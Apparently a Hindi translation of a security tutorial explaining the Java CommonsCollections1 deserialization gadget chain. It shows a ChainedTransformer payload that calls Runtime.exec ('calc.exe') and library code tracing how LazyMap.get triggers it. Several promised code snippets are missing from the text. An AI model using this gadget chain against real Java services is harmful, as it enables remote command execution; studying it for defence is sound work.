यदि आपको जावा डेसिरियलाइजेशन पेलोड के बारे में कुछ नहीं पता है, तो यह समझना मुश्किल हो सकता है कि यह कोड कैलकुलेटर को क्यों चलाएगा।
सबसे पहले, आपको यह जानने की आवश्यकता है कि जावा में ट्रांसफार्मर वह है जो एक क्लास को प्राप्त करता है और इसे एक अलग क्लास में बदलता है।
यह जानना भी दिलचस्प है कि यहाँ एक्ज़ीक्यूट किया जा रहा पेलोडसमकक्ष है:
तो, पहले पेलोड को उन "सरल" एक-लाइनर्स के बराबर कैसे प्रस्तुत किया गया है?
पहले आप पेलोड में देख सकते हैं कि एक परिवर्तनों की श्रृंखला (ऐरे) बनाई गई है:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
यदि आप कोड पढ़ते हैं, तो आप देखेंगे कि यदि आप किसी तरह से ऐरे के परिवर्तन को श्रृंखला में जोड़ते हैं, तो आप मनमाने कमांड निष्पादित करने में सक्षम हो सकते हैं।
पेलोड के अंतिम अनुभाग में आप देख सकते हैं कि एक Map ऑब्जेक्ट बनाया गया है। फिर, LazyMap से decorate फ़ंक्शन को मैप ऑब्जेक्ट और चेन किए गए ट्रांसफार्मर्स के साथ निष्पादित किया जाता है। निम्नलिखित कोड से आप देख सकते हैं कि यह चेन किए गए ट्रांसफार्मर्स को lazyMap.factory विशेषता के अंदर कॉपी करने का कारण बनेगा:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
और फिर महान समापन निष्पादित होता है: lazyMap.get("anything");
यह get फ़ंक्शन का कोड है:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
और यह transform फ़ंक्शन का कोड है
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
तो, याद रखें कि factory के अंदर हमने chainedTransformer को सहेजा था और transform फ़ंक्शन के अंदर हम सभी उन ट्रांसफार्मर्स को चेन में जा रहे हैं और एक के बाद एक निष्पादित कर रहे हैं। मजेदार बात यह है कि प्रत्येक ट्रांसफार्मर objectको इनपुट के रूप में उपयोग कर रहा है और object पिछले निष्पादित ट्रांसफार्मर से आउटपुट है। इसलिए, सभी ट्रांसफार्म्स चेन में दुर्भावनापूर्ण पेलोड को निष्पादित कर रहे हैं।
सारांश
अंत में, यह देखते हुए कि lazyMap चेन किए गए ट्रांसफार्मर्स को get विधि के अंदर कैसे प्रबंधित कर रहा है, यह ऐसा है जैसे हम निम्नलिखित कोड को निष्पादित कर रहे हैं:
Note that here it was explained the gadgets used for the ComonsCollections1 payload. But it's left how all this starts it's executing. You can see here that ysoserial, in order to execute this payload, uses an AnnotationInvocationHandler object because when this object gets deserialized, it will invoke the payload.get() function that will execute the whole payload.
Java Thread Sleep
यह पेलोड यह पहचानने के लिए उपयोगी हो सकता है कि क्या वेब कमजोर है क्योंकि यह यदि कमजोर है तो एक स्लीप को निष्पादित करेगा।